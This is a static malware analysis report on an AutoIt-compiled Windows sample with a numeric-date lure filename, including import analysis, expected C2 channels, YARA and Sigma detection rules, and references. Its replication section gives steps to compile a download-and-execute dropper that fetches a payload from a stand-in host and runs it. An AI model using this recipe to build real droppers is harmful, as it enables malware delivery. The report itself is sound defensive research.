unclassified-autoit-compiled: f527ce01 — 1012024.exe, 413 KB SCRIPT, numeric-date lure

Executive Summary

Twelfth confirmed sibling of the AutoItSC single-file compiled PE32 cluster. Filename 1012024.exe uses a generic numeric-date masquerade (suggesting October 1, 2024 deployment) rather than the themed business-document or government-agency lures seen in prior siblings. The compiled AutoIt script is 413 KB — mid-large for the cluster, comparable to the procurement-lure sibling f2be9e06 (417 KB). Static-only; no CAPE detonation available.

What It Is

This sample belongs to the unclassified-autoit-compiled cluster. See that entity page for shared build-stack fingerprint, TTPs, and the eleven prior siblings.

How It Works

The binary is a standard AutoIt v3 single-file compiler (AutoItSC) output: the C++ interpreter runtime and compiled .a3x-equivalent bytecode are fused into one PE. At entry-point (0x420577), the runtime initialises the AutoIt engine, locates the SCRIPT resource via LoadResource/LockResource/SizeofResource (all imported ^[pefile.txt]), decrypts/decompresses the bytecode, and executes it within the interpreter loop. The actual threat logic is entirely inside the compiled script; static analysis of the outer PE only reveals the AutoIt runtime surface.

Notable delta — numeric-date lure. Unlike the themed B2B or government-agency lures of prior siblings (Invoice.exe, FDA.exe, PO_#86637.exe), this sample uses the generic filename 1012024.exe — likely representing a deployment date of 10/01/2024, roughly 2.5 months after the July 2024 PE timestamp. This suggests either a bulk-staging filename convention or a campaign timed for Q4 2024. No semantic version-info masquerade accompanies the file; VS_VERSIONINFO is completely empty. ^[pefile.txt:231-240]

Script size mid-large for cluster. At 413 KB, this is the third-largest SCRIPT resource observed (after f0059bee at 932 KB and ac2ca060 at 802 KB), and nearly identical to sibling f2be9e06 (417 KB). The size suggests a fully-featured payload rather than a thin downloader stub.

PCRE regex library present. Same as siblings f2be9e06, f3a48a8c, and f51bc678: the full PCRE error-message table and Unicode script-name enumeration are visible in .rdata ^[strings.txt:569-760]. Suggests the script uses regex-based data harvesting or string matching.

Import table is the standard AutoItSC runtime surface: WSOCK32 (sockets), WININET (HTTP/FTP), WINMM (audio/timer), COMCTL32 (common controls), MPR (mapped drives), PSAPI (process memory), IPHLPAPI (ICMP ping), USERENV (user profiles), UxTheme (theming), KERNEL32 (process/file/memory), USER32 (windowing/GUI/clipboard/keylogging), GDI32 (screenshots), COMDLG32 (file dialogs), ADVAPI32 (registry/token/security), SHELL32 (shell ops), ole32/OLEAUT32 (COM). No packed/encrypted imports; all names are plaintext. ^[pefile.txt]

Icon suite in .rsrc. Twelve icon resources (type 3), including a 256×256 PNG at ID 5 (67,624 bytes) ^[binwalk.txt] ^[pefile.txt]. The specific icon theme is not recoverable statically; based on cluster patterns it likely masquerades as a document or PDF attachment.

Decompiled Behavior

Static decompilation of the AutoItSC runtime entry via radare2 shows the classic MSVC CRT initialisation sequence: __security_init_cookie, SEH frame setup, then a call to main() at 0x401c60. The main() function is a thin wrapper that checks a global flag and immediately returns — actual script execution is dispatched through AutoIt interpreter callbacks registered earlier in CRT initialisation. ^[rabin2-info.txt]

The outer PE does not exhibit anti-debug, anti-VM, or control-flow obfuscation. The only "obfuscation" is the compiled AutoIt bytecode itself, which requires the AutoIt decompiler (MyAut2Exe / Exe2Aut) or dynamic instrumentation to recover.

C2 Infrastructure

No hardcoded C2 strings recovered from static extraction. The AutoIt script logic (413 KB of compiled bytecode) is opaque without decompilation. Based on the import table and cluster history, expected C2 vectors are:

• HTTP/HTTPS via InternetOpenW → InternetConnectW → HttpOpenRequestW → HttpSendRequestW ^[pefile.txt]
• Raw TCP via WSOCK32.dll (socket, connect, send, recv) ^[pefile.txt]
• FTP via FtpOpenFileW, InternetOpenUrlW ^[pefile.txt]

Interesting Tidbits

• Date-staging filename: 1012024.exe is the first sibling in the cluster to use a pure numeric-date lure rather than a semantic theme. This may indicate bulk distribution via a staging pipeline that names files by drop date, or a campaign targeting end-of-quarter fiscal activity in October 2024. ^[metadata.json]
• Empty version info: VS_VERSIONINFO exists but FileVersion, ProductVersion, CompanyName, and InternalName are all zero-length or null. ^[pefile.txt:231-240] Even lower-effort than sibling f51bc678, which at least had empty fields present.
• Full icon suite: Twelve distinct icon sizes in .rsrc (16×16 through 256×256) suggest the operator cares about Explorer thumbnail fidelity across multiple Windows DPI settings. ^[pefile.txt]
• Manifest requests Common Controls 6.0: The embedded XML manifest (type 24) requests Microsoft.Windows.Common-Controls version 6.0.0.0 with asInvoker execution level, identical to standard AutoItSC builds. ^[strings.txt]
• No overlay: Script lives exclusively in .rsrc (type 10). No file-overlay variant placement as seen in ff84806a and f346b7e9. ^[binwalk.txt]

How To Mess With It (Homelab Replication)

Goal: Produce a single-file AutoIt compiled PE that matches the cluster fingerprint for detection-rule tuning.

1. Install AutoIt v3.3.16.1 from https://www.autoitscript.com/site/autoit/downloads/.
2. Write a trivial script (test.au3) that calls InetGet("http://example.com/payload.exe", "@TempDir\payload.exe") then Run("@TempDir\payload.exe").
3. Compile with Aut2Exe.exe /in test.au3 /out test.exe /x86 /gui.
4. Verify with strings test.exe | grep -i autoit — should show .text$lp00AutoItSC and AU3!EA06.
5. Verify with python3 -c "import pefile; pe=pefile.PE('test.exe'); print([hex(r.id) for r in pe.DIRECTORY_ENTRY_RESOURCE.entries])" — should list 0xa (SCRIPT).
6. Run capa test.exe — should abort with "compiled with AutoIt" warning, matching this sample's capa.txt.

What you learn: How trivial it is to weaponise a legitimate automation framework into a dropper that defeats static string extraction and confuses most automated analysis pipelines.

Deployable Signatures

YARA rule

rule AutoItSC_SingleFile_PE32_NumericLure {
    meta:
        description = "AutoItSC single-file PE32 with numeric-date filename and mid-large SCRIPT resource"
        author = "PacketPursuit SOC"
        date = "2026-06-20"
        sha256 = "f527ce01385b6be548d98cee6f022a96671c76c12b9430c13b5fa1a63e33e8d7"
    strings:
        $au3_hdr = "AU3!EA06" ascii wide
        $autoitsc = ".text$lp00AutoItSC" ascii
        $wininet = "WININET.dll" ascii
        $wsock = "WSOCK32.dll" ascii
        $script_rsrc = { 0A 00 00 00 ?? 00 00 00 ?? 00 00 00 }  // RT_RCDATA entry
    condition:
        uint16(0) == 0x5A4D and
        pe.characteristics & pe.EXECUTABLE_IMAGE and
        $au3_hdr and
        $autoitsc and
        $wininet and
        $wsock and
        pe.number_of_sections >= 5 and
        for any i in (0..pe.number_of_resources - 1) :
            (pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[i].size > 400000)
}

Sigma rule

title: AutoItSC Compiled Script Execution with Numeric-Date Filename
description: Detects AutoIt3 compiled PE execution from user-writable directories with numeric-date filenames
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    - Image|re: '^[A-Z]:\\.*\\[0-9]{6,8}\.exe$'
    - CommandLine|contains: 'AU3!EA06'
    - Image|endswith: '\\1012024.exe'
    - Image|endswith: '\\FDA.exe'
    - Image|endswith: '\\Invoice.exe'
    - Image|endswith: '\\PO_#*.exe'
    - Image|endswith: '\\INQUIRY_*.exe'
    - Image|endswith: '\\Public_Holiday_Notice_*.exe'
    - Image|endswith: '\\AUG_SOA.exe'
  condition: selection
falsepositives:
  - Legitimate AutoIt automation in enterprise environments (rare; validate against known-good hash list)
level: high

IOC list

Behavioral fingerprint

This binary is a single-file AutoIt v3 compiled PE32. On execution, it loads its own .rsrc section, decrypts an AU3!EA06-header compiled script (~413 KB), and runs it inside the AutoIt interpreter. The outer PE imports the full Win32 API surface (Winsock, WinInet, GDI, ADVAPI32, SHELL32) but contains no hardcoded C2 strings — all network and persistence logic lives inside the opaque bytecode. It carries a 12-size icon suite including a 256×256 PNG to masquerade as a document attachment. No anti-debug, no packing, no TLS callbacks. The only evasion is the compiled-script layer itself.

Detection Signatures

References

• Artifact ID: 60d1cfb9-24f0-44ca-a540-eb31e364266e (OpenCTI / MalwareBazaar)
• Related entity: unclassified-autoit-compiled
• Related concept: autoit-compiled-script-dropper
• Sibling analysis: f51bc678 — FDA.exe, 196 KB SCRIPT, government-agency masquerade ^[raw/analyses/f51bc678/report.md]
• Sibling analysis: f2be9e06 — PO_#86637.exe, 417 KB SCRIPT, PCRE regex ^[raw/analyses/f2be9e06/report.md]
• Sibling analysis: f0059bee — 932 KB SCRIPT, procurement lure ^[raw/analyses/f0059bee/report.md]

Provenance

Analysis derived from triage artifacts in raw/analyses/f527ce01385b6be548d98cee6f022a96671c76c12b9430c13b5fa1a63e33e8d7/: file.txt, exiftool.json, pefile.txt, strings.txt, rabin2-info.txt, binwalk.txt, yara.txt, metadata.json, triage.json, floss.txt, capa.txt, dynamic-analysis.md. Tools: pefile 2023.2.7, binwalk 2.3.4, YARA 4.5.2, capa 7.0.1, radare2 5.9.4, strings (GNU binutils) 2.42. Static-only; CAPE skipped due to no Windows guest.